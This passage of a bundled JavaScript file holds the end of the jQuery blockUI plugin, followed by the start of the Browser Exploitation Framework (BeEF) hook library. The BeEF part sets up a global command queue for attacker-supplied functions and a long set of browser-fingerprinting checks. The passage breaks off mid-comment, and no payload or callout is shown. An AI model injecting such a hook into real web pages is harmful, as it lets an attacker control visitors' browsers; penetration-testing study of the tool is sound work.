  2158. theme: false, // set to true to use with jQuery UI themes
  2159.  
  2160. // styles for the message when blocking; if you wish to disable
  2161. // these and use an external stylesheet then do this in your code:
  2162. // $.blockUI.defaults.css = {};
  2163. css: {
  2164. padding: 0,
  2165. margin: 0,
  2166. width: '30%',
  2167. top: '40%',
  2168. left: '35%',
  2169. textAlign: 'center',
  2170. color: '#000',
  2171. border: '3px solid #aaa',
  2172. backgroundColor:'#fff',
  2173. cursor: 'wait'
  2174. },
  2175.  
  2176. // minimal style set used when themes are used
  2177. themedCSS: {
  2178. width: '30%',
  2179. top: '40%',
  2180. left: '35%'
  2181. },
  2182.  
  2183. // styles for the overlay
  2184. overlayCSS: {
  2185. backgroundColor: '#000',
  2186. opacity: 0.6,
  2187. cursor: 'wait'
  2188. },
  2189.  
  2190. // style to replace wait cursor before unblocking to correct issue
  2191. // of lingering wait cursor
  2192. cursorReset: 'default',
  2193.  
  2194. // styles applied when using $.growlUI
  2195. growlCSS: {
  2196. width: '350px',
  2197. top: '10px',
  2198. left: '',
  2199. right: '10px',
  2200. border: 'none',
  2201. padding: '5px',
  2202. opacity: 0.6,
  2203. cursor: 'default',
  2204. color: '#fff',
  2205. backgroundColor: '#000',
  2206. '-webkit-border-radius':'10px',
  2207. '-moz-border-radius': '10px',
  2208. 'border-radius': '10px'
  2209. },
  2210.  
  2211. // IE issues: 'about:blank' fails on HTTPS and javascript:false is s-l-o-w
  2212. // (hat tip to Jorge H. N. de Vasconcelos)
  2213. /*jshint scripturl:true */
  2214. iframeSrc: /^https/i.test(window.location.href || '') ? 'javascript:false' : 'about:blank',
  2215.  
  2216. // force usage of iframe in non-IE browsers (handy for blocking applets)
  2217. forceIframe: false,
  2218.  
  2219. // z-index for the blocking overlay
  2220. baseZ: 1000,
  2221.  
  2222. // set these to true to have the message automatically centered
  2223. centerX: true, // <-- only effects element blocking (page block controlled via css above)
  2224. centerY: true,
  2225.  
  2226. // allow body element to be stetched in ie6; this makes blocking look better
  2227. // on "short" pages. disable if you wish to prevent changes to the body height
  2228. allowBodyStretch: true,
  2229.  
  2230. // enable if you want key and mouse events to be disabled for content that is blocked
  2231. bindEvents: true,
  2232.  
  2233. // be default blockUI will supress tab navigation from leaving blocking content
  2234. // (if bindEvents is true)
  2235. constrainTabKey: true,
  2236.  
  2237. // fadeIn time in millis; set to 0 to disable fadeIn on block
  2238. fadeIn: 200,
  2239.  
  2240. // fadeOut time in millis; set to 0 to disable fadeOut on unblock
  2241. fadeOut: 400,
  2242.  
  2243. // time in millis to wait before auto-unblocking; set to 0 to disable auto-unblock
  2244. timeout: 0,
  2245.  
  2246. // disable if you don't want to show the overlay
  2247. showOverlay: true,
  2248.  
  2249. // if true, focus will be placed in the first available input field when
  2250. // page blocking
  2251. focusInput: true,
  2252.  
  2253. // elements that can receive focus
  2254. focusableElements: ':input:enabled:visible',
  2255.  
  2256. // suppresses the use of overlay styles on FF/Linux (due to performance issues with opacity)
  2257. // no longer needed in 2012
  2258. // applyPlatformOpacityRules: true,
  2259.  
  2260. // callback method invoked when fadeIn has completed and blocking message is visible
  2261. onBlock: null,
  2262.  
  2263. // callback method invoked when unblocking has completed; the callback is
  2264. // passed the element that has been unblocked (which is the window object for page
  2265. // blocks) and the options that were passed to the unblock call:
  2266. // onUnblock(element, options)
  2267. onUnblock: null,
  2268.  
  2269. // callback method invoked when the overlay area is clicked.
  2270. // setting this will turn the cursor to a pointer, otherwise cursor defined in overlayCss will be used.
  2271. onOverlayClick: null,
  2272.  
  2273. // don't ask; if you really must know: http://groups.google.com/group/jquery-en/browse_thread/thread/36640a8730503595/2f6a79a77a78e493#2f6a79a77a78e493
  2274. quirksmodeOffsetHack: 4,
  2275.  
  2276. // class name of the message block
  2277. blockMsgClass: 'blockMsg',
  2278.  
  2279. // if it is already blocked, then ignore it (don't unblock and reblock)
  2280. ignoreIfBlocked: false
  2281. };
  2282.  
  2283. // private data and functions follow...
  2284.  
  2285. var pageBlock = null;
  2286. var pageBlockEls = [];
  2287.  
  2288. function install(el, opts) {
  2289. var css, themedCSS;
  2290. var full = (el == window);
  2291. var msg = (opts && opts.message !== undefined ? opts.message : undefined);
  2292. opts = $.extend({}, $.blockUI.defaults, opts || {});
  2293.  
  2294. if (opts.ignoreIfBlocked && $(el).data('blockUI.isBlocked'))
  2295. return;
  2296.  
  2297. opts.overlayCSS = $.extend({}, $.blockUI.defaults.overlayCSS, opts.overlayCSS || {});
  2298. css = $.extend({}, $.blockUI.defaults.css, opts.css || {});
  2299. if (opts.onOverlayClick)
  2300. opts.overlayCSS.cursor = 'pointer';
  2301.  
  2302. themedCSS = $.extend({}, $.blockUI.defaults.themedCSS, opts.themedCSS || {});
  2303. msg = msg === undefined ? opts.message : msg;
  2304.  
  2305. // remove the current block (if there is one)
  2306. if (full && pageBlock)
  2307. remove(window, {fadeOut:0});
  2308.  
  2309. // if an existing element is being used as the blocking content then we capture
  2310. // its current place in the DOM (and current display style) so we can restore
  2311. // it when we unblock
  2312. if (msg && typeof msg != 'string' && (msg.parentNode || msg.jquery)) {
  2313. var node = msg.jquery ? msg[0] : msg;
  2314. var data = {};
  2315. $(el).data('blockUI.history', data);
  2316. data.el = node;
  2317. data.parent = node.parentNode;
  2318. data.display = node.style.display;
  2319. data.position = node.style.position;
  2320. if (data.parent)
  2321. data.parent.removeChild(node);
  2322. }
  2323.  
  2324. $(el).data('blockUI.onUnblock', opts.onUnblock);
  2325. var z = opts.baseZ;
  2326.  
  2327. // blockUI uses 3 layers for blocking, for simplicity they are all used on every platform;
  2328. // layer1 is the iframe layer which is used to supress bleed through of underlying content
  2329. // layer2 is the overlay layer which has opacity and a wait cursor (by default)
  2330. // layer3 is the message content that is displayed while blocking
  2331. var lyr1, lyr2, lyr3, s;
  2332. if (msie || opts.forceIframe)
  2333. lyr1 = $('<iframe class="blockUI" style="z-index:'+ (z++) +';display:none;border:none;margin:0;padding:0;position:absolute;width:100%;height:100%;top:0;left:0" src="'+opts.iframeSrc+'"></iframe>');
  2334. else
  2335. lyr1 = $('<div class="blockUI" style="display:none"></div>');
  2336.  
  2337. if (opts.theme)
  2338. lyr2 = $('<div class="blockUI blockOverlay ui-widget-overlay" style="z-index:'+ (z++) +';display:none"></div>');
  2339. else
  2340. lyr2 = $('<div class="blockUI blockOverlay" style="z-index:'+ (z++) +';display:none;border:none;margin:0;padding:0;width:100%;height:100%;top:0;left:0"></div>');
  2341.  
  2342. if (opts.theme && full) {
  2343. s = '<div class="blockUI ' + opts.blockMsgClass + ' blockPage ui-dialog ui-widget ui-corner-all" style="z-index:'+(z+10)+';display:none;position:fixed">';
  2344. if ( opts.title ) {
  2345. s += '<div class="ui-widget-header ui-dialog-titlebar ui-corner-all blockTitle">'+(opts.title || '&nbsp;')+'</div>';
  2346. }
  2347. s += '<div class="ui-widget-content ui-dialog-content"></div>';
  2348. s += '</div>';
  2349. }
  2350. else if (opts.theme) {
  2351. s = '<div class="blockUI ' + opts.blockMsgClass + ' blockElement ui-dialog ui-widget ui-corner-all" style="z-index:'+(z+10)+';display:none;position:absolute">';
  2352. if ( opts.title ) {
  2353. s += '<div class="ui-widget-header ui-dialog-titlebar ui-corner-all blockTitle">'+(opts.title || '&nbsp;')+'</div>';
  2354. }
  2355. s += '<div class="ui-widget-content ui-dialog-content"></div>';
  2356. s += '</div>';
  2357. }
  2358. else if (full) {
  2359. s = '<div class="blockUI ' + opts.blockMsgClass + ' blockPage" style="z-index:'+(z+10)+';display:none;position:fixed"></div>';
  2360. }
  2361. else {
  2362. s = '<div class="blockUI ' + opts.blockMsgClass + ' blockElement" style="z-index:'+(z+10)+';display:none;position:absolute"></div>';
  2363. }
  2364. lyr3 = $(s);
  2365.  
  2366. // if we have a message, style it
  2367. if (msg) {
  2368. if (opts.theme) {
  2369. lyr3.css(themedCSS);
  2370. lyr3.addClass('ui-widget-content');
  2371. }
  2372. else
  2373. lyr3.css(css);
  2374. }
  2375.  
  2376. // style the overlay
  2377. if (!opts.theme /*&& (!opts.applyPlatformOpacityRules)*/)
  2378. lyr2.css(opts.overlayCSS);
  2379. lyr2.css('position', full ? 'fixed' : 'absolute');
  2380.  
  2381. // make iframe layer transparent in IE
  2382. if (msie || opts.forceIframe)
  2383. lyr1.css('opacity',0.0);
  2384.  
  2385. //$([lyr1[0],lyr2[0],lyr3[0]]).appendTo(full ? 'body' : el);
  2386. var layers = [lyr1,lyr2,lyr3], $par = full ? $('body') : $(el);
  2387. $.each(layers, function() {
  2388. this.appendTo($par);
  2389. });
  2390.  
  2391. if (opts.theme && opts.draggable && $.fn.draggable) {
  2392. lyr3.draggable({
  2393. handle: '.ui-dialog-titlebar',
  2394. cancel: 'li'
  2395. });
  2396. }
  2397.  
  2398. // ie7 must use absolute positioning in quirks mode and to account for activex issues (when scrolling)
  2399. var expr = setExpr && (!$.support.boxModel || $('object,embed', full ? null : el).length > 0);
  2400. if (ie6 || expr) {
  2401. // give body 100% height
  2402. if (full && opts.allowBodyStretch && $.support.boxModel)
  2403. $('html,body').css('height','100%');
  2404.  
  2405. // fix ie6 issue when blocked element has a border width
  2406. if ((ie6 || !$.support.boxModel) && !full) {
  2407. var t = sz(el,'borderTopWidth'), l = sz(el,'borderLeftWidth');
  2408. var fixT = t ? '(0 - '+t+')' : 0;
  2409. var fixL = l ? '(0 - '+l+')' : 0;
  2410. }
  2411.  
  2412. // simulate fixed position
  2413. $.each(layers, function(i,o) {
  2414. var s = o[0].style;
  2415. s.position = 'absolute';
  2416. if (i < 2) {
  2417. if (full)
  2418. s.setExpression('height','Math.max(document.body.scrollHeight, document.body.offsetHeight) - (jQuery.support.boxModel?0:'+opts.quirksmodeOffsetHack+') + "px"');
  2419. else
  2420. s.setExpression('height','this.parentNode.offsetHeight + "px"');
  2421. if (full)
  2422. s.setExpression('width','jQuery.support.boxModel && document.documentElement.clientWidth || document.body.clientWidth + "px"');
  2423. else
  2424. s.setExpression('width','this.parentNode.offsetWidth + "px"');
  2425. if (fixL) s.setExpression('left', fixL);
  2426. if (fixT) s.setExpression('top', fixT);
  2427. }
  2428. else if (opts.centerY) {
  2429. if (full) s.setExpression('top','(document.documentElement.clientHeight || document.body.clientHeight) / 2 - (this.offsetHeight / 2) + (blah = document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop) + "px"');
  2430. s.marginTop = 0;
  2431. }
  2432. else if (!opts.centerY && full) {
  2433. var top = (opts.css && opts.css.top) ? parseInt(opts.css.top, 10) : 0;
  2434. var expression = '((document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop) + '+top+') + "px"';
  2435. s.setExpression('top',expression);
  2436. }
  2437. });
  2438. }
  2439.  
  2440. // show the message
  2441. if (msg) {
  2442. if (opts.theme)
  2443. lyr3.find('.ui-widget-content').append(msg);
  2444. else
  2445. lyr3.append(msg);
  2446. if (msg.jquery || msg.nodeType)
  2447. $(msg).show();
  2448. }
  2449.  
  2450. if ((msie || opts.forceIframe) && opts.showOverlay)
  2451. lyr1.show(); // opacity is zero
  2452. if (opts.fadeIn) {
  2453. var cb = opts.onBlock ? opts.onBlock : noOp;
  2454. var cb1 = (opts.showOverlay && !msg) ? cb : noOp;
  2455. var cb2 = msg ? cb : noOp;
  2456. if (opts.showOverlay)
  2457. lyr2._fadeIn(opts.fadeIn, cb1);
  2458. if (msg)
  2459. lyr3._fadeIn(opts.fadeIn, cb2);
  2460. }
  2461. else {
  2462. if (opts.showOverlay)
  2463. lyr2.show();
  2464. if (msg)
  2465. lyr3.show();
  2466. if (opts.onBlock)
  2467. opts.onBlock.bind(lyr3)();
  2468. }
  2469.  
  2470. // bind key and mouse events
  2471. bind(1, el, opts);
  2472.  
  2473. if (full) {
  2474. pageBlock = lyr3[0];
  2475. pageBlockEls = $(opts.focusableElements,pageBlock);
  2476. if (opts.focusInput)
  2477. setTimeout(focus, 20);
  2478. }
  2479. else
  2480. center(lyr3[0], opts.centerX, opts.centerY);
  2481.  
  2482. if (opts.timeout) {
  2483. // auto-unblock
  2484. var to = setTimeout(function() {
  2485. if (full)
  2486. $.unblockUI(opts);
  2487. else
  2488. $(el).unblock(opts);
  2489. }, opts.timeout);
  2490. $(el).data('blockUI.timeout', to);
  2491. }
  2492. }
  2493.  
  2494. // remove the block
  2495. function remove(el, opts) {
  2496. var count;
  2497. var full = (el == window);
  2498. var $el = $(el);
  2499. var data = $el.data('blockUI.history');
  2500. var to = $el.data('blockUI.timeout');
  2501. if (to) {
  2502. clearTimeout(to);
  2503. $el.removeData('blockUI.timeout');
  2504. }
  2505. opts = $.extend({}, $.blockUI.defaults, opts || {});
  2506. bind(0, el, opts); // unbind events
  2507.  
  2508. if (opts.onUnblock === null) {
  2509. opts.onUnblock = $el.data('blockUI.onUnblock');
  2510. $el.removeData('blockUI.onUnblock');
  2511. }
  2512.  
  2513. var els;
  2514. if (full) // crazy selector to handle odd field errors in ie6/7
  2515. els = $('body').children().filter('.blockUI').add('body > .blockUI');
  2516. else
  2517. els = $el.find('>.blockUI');
  2518.  
  2519. // fix cursor issue
  2520. if ( opts.cursorReset ) {
  2521. if ( els.length > 1 )
  2522. els[1].style.cursor = opts.cursorReset;
  2523. if ( els.length > 2 )
  2524. els[2].style.cursor = opts.cursorReset;
  2525. }
  2526.  
  2527. if (full)
  2528. pageBlock = pageBlockEls = null;
  2529.  
  2530. if (opts.fadeOut) {
  2531. count = els.length;
  2532. els.stop().fadeOut(opts.fadeOut, function() {
  2533. if ( --count === 0)
  2534. reset(els,data,opts,el);
  2535. });
  2536. }
  2537. else
  2538. reset(els, data, opts, el);
  2539. }
  2540.  
  2541. // move blocking element back into the DOM where it started
  2542. function reset(els,data,opts,el) {
  2543. var $el = $(el);
  2544. if ( $el.data('blockUI.isBlocked') )
  2545. return;
  2546.  
  2547. els.each(function(i,o) {
  2548. // remove via DOM calls so we don't lose event handlers
  2549. if (this.parentNode)
  2550. this.parentNode.removeChild(this);
  2551. });
  2552.  
  2553. if (data && data.el) {
  2554. data.el.style.display = data.display;
  2555. data.el.style.position = data.position;
  2556. data.el.style.cursor = 'default'; // #59
  2557. if (data.parent)
  2558. data.parent.appendChild(data.el);
  2559. $el.removeData('blockUI.history');
  2560. }
  2561.  
  2562. if ($el.data('blockUI.static')) {
  2563. $el.css('position', 'static'); // #22
  2564. }
  2565.  
  2566. if (typeof opts.onUnblock == 'function')
  2567. opts.onUnblock(el,opts);
  2568.  
  2569. // fix issue in Safari 6 where block artifacts remain until reflow
  2570. var body = $(document.body), w = body.width(), cssW = body[0].style.width;
  2571. body.width(w-1).width(w);
  2572. body[0].style.width = cssW;
  2573. }
  2574.  
  2575. // bind/unbind the handler
  2576. function bind(b, el, opts) {
  2577. var full = el == window, $el = $(el);
  2578.  
  2579. // don't bother unbinding if there is nothing to unbind
  2580. if (!b && (full && !pageBlock || !full && !$el.data('blockUI.isBlocked')))
  2581. return;
  2582.  
  2583. $el.data('blockUI.isBlocked', b);
  2584.  
  2585. // don't bind events when overlay is not in use or if bindEvents is false
  2586. if (!full || !opts.bindEvents || (b && !opts.showOverlay))
  2587. return;
  2588.  
  2589. // bind anchors and inputs for mouse and key events
  2590. var events = 'mousedown mouseup keydown keypress keyup touchstart touchend touchmove';
  2591. if (b)
  2592. $(document).bind(events, opts, handler);
  2593. else
  2594. $(document).unbind(events, handler);
  2595.  
  2596. // former impl...
  2597. // var $e = $('a,:input');
  2598. // b ? $e.bind(events, opts, handler) : $e.unbind(events, handler);
  2599. }
  2600.  
  2601. // event handler to suppress keyboard/mouse events when blocking
  2602. function handler(e) {
  2603. // allow tab navigation (conditionally)
  2604. if (e.type === 'keydown' && e.keyCode && e.keyCode == 9) {
  2605. if (pageBlock && e.data.constrainTabKey) {
  2606. var els = pageBlockEls;
  2607. var fwd = !e.shiftKey && e.target === els[els.length-1];
  2608. var back = e.shiftKey && e.target === els[0];
  2609. if (fwd || back) {
  2610. setTimeout(function(){focus(back);},10);
  2611. return false;
  2612. }
  2613. }
  2614. }
  2615. var opts = e.data;
  2616. var target = $(e.target);
  2617. if (target.hasClass('blockOverlay') && opts.onOverlayClick)
  2618. opts.onOverlayClick(e);
  2619.  
  2620. // allow events within the message content
  2621. if (target.parents('div.' + opts.blockMsgClass).length > 0)
  2622. return true;
  2623.  
  2624. // allow events for content that is not being blocked
  2625. return target.parents().children().filter('div.blockUI').length === 0;
  2626. }
  2627.  
  2628. function focus(back) {
  2629. if (!pageBlockEls)
  2630. return;
  2631. var e = pageBlockEls[back===true ? pageBlockEls.length-1 : 0];
  2632. if (e)
  2633. e.focus();
  2634. }
  2635.  
  2636. function center(el, x, y) {
  2637. var p = el.parentNode, s = el.style;
  2638. var l = ((p.offsetWidth - el.offsetWidth)/2) - sz(p,'borderLeftWidth');
  2639. var t = ((p.offsetHeight - el.offsetHeight)/2) - sz(p,'borderTopWidth');
  2640. if (x) s.left = l > 0 ? (l+'px') : '0';
  2641. if (y) s.top = t > 0 ? (t+'px') : '0';
  2642. }
  2643.  
  2644. function sz(el, p) {
  2645. return parseInt($.css(el,p),10)||0;
  2646. }
  2647.  
  2648. }
  2649.  
  2650.  
  2651. /*global define:true */
  2652. if (typeof define === 'function' && define.amd && define.amd.jQuery) {
  2653. define(['jquery'], setup);
  2654. } else {
  2655. setup(jQuery);
  2656. }
  2657.  
  2658. })();
  2659.  
  2660.  
  2661. //
  2662. // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
  2663. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  2664. // See the file 'doc/COPYING' for copying permission
  2665. //
  2666.  
  2667. /*!
  2668. * BeEF JS Library 0.4.7.0-alpha
  2669. * Register the BeEF JS on the window object.
  2670. */
  2671.  
  2672. $j = jQuery.noConflict();
  2673.  
  2674. if(typeof beef === 'undefined' && typeof window.beef === 'undefined') {
  2675.  
  2676. var BeefJS = {
  2677.  
  2678. version: '0.4.7.0-alpha',
  2679.  
  2680. // This get set to true during window.onload(). It's a useful hack when messing with document.write().
  2681. pageIsLoaded: false,
  2682.  
  2683. // An array containing functions to be executed by the window.onpopstate() method.
  2684. onpopstate: new Array(),
  2685.  
  2686. // An array containing functions to be executed by the window.onclose() method.
  2687. onclose: new Array(),
  2688.  
  2689. // An array containing functions to be executed by Beef.
  2690. commands: new Array(),
  2691.  
  2692. // An array containing all the BeEF JS components.
  2693. components: new Array(),
  2694.  
  2695. /**
  2696. * Adds a function to display debug messages (wraps console.log())
  2697. * @param: {string} the debug string to return
  2698. */
  2699. debug: function(msg) {
  2700. if (!false) return;
  2701. if (typeof console == "object" && typeof console.log == "function") {
  2702. var currentdate = new Date();
  2703. var pad = function(n){return ("0" + n).slice(-2);}
  2704. var datetime = currentdate.getFullYear() + "-"
  2705. + pad(currentdate.getMonth()+1) + "-"
  2706. + pad(currentdate.getDate()) + " "
  2707. + pad(currentdate.getHours()) + ":"
  2708. + pad(currentdate.getMinutes()) + ":"
  2709. + pad(currentdate.getSeconds());
  2710. console.log('['+datetime+'] '+msg);
  2711. } else {
  2712. // TODO: maybe add a callback to BeEF server for debugging purposes
  2713. //window.alert(msg);
  2714. }
  2715. },
  2716.  
  2717. /**
  2718. * Adds a function to execute.
  2719. * @param: {Function} the function to execute.
  2720. */
  2721. execute: function(fn) {
  2722. if ( typeof beef.websocket == "undefined"){
  2723. this.commands.push(fn);
  2724. }else{
  2725. fn();
  2726. }
  2727. },
  2728.  
  2729. /**
  2730. * Registers a component in BeEF JS.
  2731. * @params: {String} the component.
  2732. *
  2733. * Components are very important to register so the framework does not
  2734. * send them back over and over again.
  2735. */
  2736. regCmp: function(component) {
  2737. this.components.push(component);
  2738. }
  2739.  
  2740. };
  2741.  
  2742. window.beef = BeefJS;
  2743. }
  2744.  
  2745.  
  2746. //
  2747. // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
  2748. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  2749. // See the file 'doc/COPYING' for copying permission
  2750. //
  2751.  
  2752. /**
  2753. * @literal object: beef.browser
  2754. *
  2755. * Basic browser functions.
  2756. */
  2757. beef.browser = {
  2758.  
  2759. /**
  2760. * Returns the user agent that the browser is claiming to be.
  2761. * @example: beef.browser.getBrowserReportedName()
  2762. */
  2763. getBrowserReportedName: function () {
  2764. return navigator.userAgent;
  2765. },
  2766.  
  2767. /**
  2768. * Returns true if Avant Browser.
  2769. * @example: beef.browser.isA()
  2770. */
  2771. isA: function () {
  2772. return window.navigator.userAgent.match(/Avant TriCore/) != null;
  2773. },
  2774.  
  2775. /**
  2776. * Returns true if Iceweasel.
  2777. * @example: beef.browser.isIceweasel()
  2778. */
  2779. isIceweasel: function () {
  2780. return window.navigator.userAgent.match(/Iceweasel\/\d+\.\d/) != null;
  2781. },
  2782.  
  2783. /**
  2784. * Returns true if Midori.
  2785. * @example: beef.browser.isMidori()
  2786. */
  2787. isMidori: function () {
  2788. return window.navigator.userAgent.match(/Midori\/\d+\.\d/) != null;
  2789. },
  2790.  
  2791. /**
  2792. * Returns true if Odyssey
  2793. * @example: beef.browser.isOdyssey()
  2794. */
  2795. isOdyssey: function () {
  2796. return (window.navigator.userAgent.match(/Odyssey Web Browser/) != null && window.navigator.userAgent.match(/OWB\/\d+\.\d/) != null);
  2797. },
  2798.  
  2799. /**
  2800. * Returns true if Brave
  2801. * @example: beef.browser.isBrave()
  2802. */
  2803. isBrave: function(){
  2804. return (window.navigator.userAgent.match(/brave\/\d+\.\d/) != null && window.navigator.userAgent.match(/Brave\/\d+\.\d/) != null);
  2805. },
  2806.  
  2807. /**
  2808. * Returns true if IE6.
  2809. * @example: beef.browser.isIE6()
  2810. */
  2811. isIE6: function () {
  2812. return !window.XMLHttpRequest && !window.globalStorage;
  2813. },
  2814.  
  2815. /**
  2816. * Returns true if IE7.
  2817. * @example: beef.browser.isIE7()
  2818. */
  2819. isIE7: function () {
  2820. return !!window.XMLHttpRequest && !window.chrome && !window.opera && !window.getComputedStyle && !window.globalStorage && !document.documentMode;
  2821. },
  2822.  
  2823. /**
  2824. * Returns true if IE8.
  2825. * @example: beef.browser.isIE8()
  2826. */
  2827. isIE8: function () {
  2828. return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.XDomainRequest && !window.performance;
  2829. },
  2830.  
  2831. /**
  2832. * Returns true if IE9.
  2833. * @example: beef.browser.isIE9()
  2834. */
  2835. isIE9: function () {
  2836. return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !window.XDomainRequest && !!window.performance && typeof navigator.msMaxTouchPoints === "undefined";
  2837. },
  2838.  
  2839. /**
  2840. *
  2841. * Returns true if IE10.
  2842. * @example: beef.browser.isIE10()
  2843. */
  2844. isIE10: function () {
  2845. return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.XDomainRequest && !!window.performance && typeof navigator.msMaxTouchPoints !== "undefined";
  2846. },
  2847.  
  2848. /**
  2849. *
  2850. * Returns true if IE11.
  2851. * @example: beef.browser.isIE11()
  2852. */
  2853. isIE11: function () {
  2854. return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.performance && typeof navigator.msMaxTouchPoints !== "undefined" && typeof document.selection === "undefined" && typeof document.createStyleSheet === "undefined" && typeof window.createPopup === "undefined" && typeof window.XDomainRequest === "undefined";
  2855. },
  2856.  
  2857. /**
  2858. * Returns true if IE.
  2859. * @example: beef.browser.isIE()
  2860. */
  2861. isIE: function () {
  2862. return this.isIE6() || this.isIE7() || this.isIE8() || this.isIE9() || this.isIE10() || this.isIE11();
  2863. },
  2864.  
  2865. /**
  2866. * Returns true if FF2.
  2867. * @example: beef.browser.isFF2()
  2868. */
  2869. isFF2: function () {
  2870. return !!window.globalStorage && !window.postMessage;
  2871. },
  2872.  
  2873. /**
  2874. * Returns true if FF3.
  2875. * @example: beef.browser.isFF3()
  2876. */
  2877. isFF3: function () {
  2878. return !!window.globalStorage && !!window.postMessage && !JSON.parse;
  2879. },
  2880.  
  2881. /**
  2882. * Returns true if FF3.5.
  2883. * @example: beef.browser.isFF3_5()
  2884. */
  2885. isFF3_5: function () {
  2886. return !!window.globalStorage && !!JSON.parse && !window.FileReader;
  2887. },
  2888.  
  2889. /**
  2890. * Returns true if FF3.6.
  2891. * @example: beef.browser.isFF3_6()
  2892. */
  2893. isFF3_6: function () {
  2894. return !!window.globalStorage && !!window.FileReader && !window.multitouchData && !window.history.replaceState;
  2895. },
  2896.  
  2897. /**
  2898. * Returns true if FF4.
  2899. * @example: beef.browser.isFF4()
  2900. */
  2901. isFF4: function () {
  2902. return !!window.globalStorage && !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/4\./) != null;
  2903. },
  2904.  
  2905. /**
  2906. * Returns true if FF5.
  2907. * @example: beef.browser.isFF5()
  2908. */
  2909. isFF5: function () {
  2910. return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/5\./) != null;
  2911. },
  2912.  
  2913. /**
  2914. * Returns true if FF6.
  2915. * @example: beef.browser.isFF6()
  2916. */
  2917. isFF6: function () {
  2918. return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/6\./) != null;
  2919. },
  2920.  
  2921. /**
  2922. * Returns true if FF7.
  2923. * @example: beef.browser.isFF7()
  2924. */
  2925. isFF7: function () {
  2926. return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/7\./) != null;
  2927. },
  2928.  
  2929. /**
  2930. * Returns true if FF8.
  2931. * @example: beef.browser.isFF8()
  2932. */
  2933. isFF8: function () {
  2934. return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/8\./) != null;
  2935. },
  2936.  
  2937. /**
  2938. * Returns true if FF9.
  2939. * @example: beef.browser.isFF9()
  2940. */
  2941. isFF9: function () {
  2942. return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/9\./) != null;
  2943. },
  2944.  
  2945. /**
  2946. * Returns true if FF10.
  2947. * @example: beef.browser.isFF10()
  2948. */
  2949. isFF10: function () {
  2950. return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/10\./) != null;
  2951. },
  2952.  
  2953. /**
  2954. * Returns true if FF11.
  2955. * @example: beef.browser.isFF11()
  2956. */
  2957. isFF11: function () {
  2958. return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/11\./) != null;
  2959. },
  2960.  
  2961. /**
  2962. * Returns true if FF12
  2963. * @example: beef.browser.isFF12()
  2964. */
  2965. isFF12: function () {
  2966. return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/12\./) != null;
  2967. },
  2968.  
  2969. /**
  2970. * Returns true if FF13
  2971. * @example: beef.browser.isFF13()
  2972. */
  2973. isFF13: function () {
  2974. return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/13\./) != null;
  2975. },
  2976.  
  2977. /**
  2978. * Returns true if FF14
  2979. * @example: beef.browser.isFF14()
  2980. */
  2981. isFF14: function () {
  2982. return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/14\./) != null;
  2983. },
  2984.  
  2985. /**
  2986. * Returns true if FF15
  2987. * @example: beef.browser.isFF15()
  2988. */
  2989. isFF15: function () {
  2990. return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/15\./) != null;
  2991. },
  2992.  
  2993. /**
  2994. * Returns true if FF16
  2995. * @example: beef.browser.isFF16()
  2996. */
  2997. isFF16: function () {
  2998. return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/16\./) != null;
  2999. },
  3000.  
  3001. /**
  3002. * Returns true if FF17
  3003. * @example: beef.browser.isFF17()
  3004. */
  3005. isFF17: function () {
  3006. return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/17\./) != null;
  3007. },
  3008.  
  3009. /**
  3010. * Returns true if FF18
  3011. * @example: beef.browser.isFF18()
  3012. */
  3013. isFF18: function () {
  3014. return !!window.devicePixelRatio && !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/18\./) != null;
  3015. },
  3016.  
  3017. /**
  3018. * Returns true if FF19
  3019. * @example: beef.browser.isFF19()
  3020. */
  3021. isFF19: function () {
  3022. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && window.navigator.userAgent.match(/Firefox\/19\./) != null;
  3023. },
  3024.  
  3025. /**
  3026. * Returns true if FF20
  3027. * @example: beef.browser.isFF20()
  3028. */
  3029. isFF20: function () {
  3030. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && window.navigator.userAgent.match(/Firefox\/20\./) != null;
  3031. },
  3032.  
  3033. /**
  3034. * Returns true if FF21
  3035. * @example: beef.browser.isFF21()
  3036. */
  3037. isFF21: function () {
  3038. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/21\./) != null;
  3039. },
  3040.  
  3041. /**
  3042. * Returns true if FF22
  3043. * @example: beef.browser.isFF22()
  3044. */
  3045. isFF22: function () {
  3046. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/22\./) != null;
  3047. },
  3048.  
  3049. /**
  3050. * Returns true if FF23
  3051. * @example: beef.browser.isFF23()
  3052. */
  3053. isFF23: function () {
  3054. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/23\./) != null;
  3055. },
  3056.  
  3057. /**
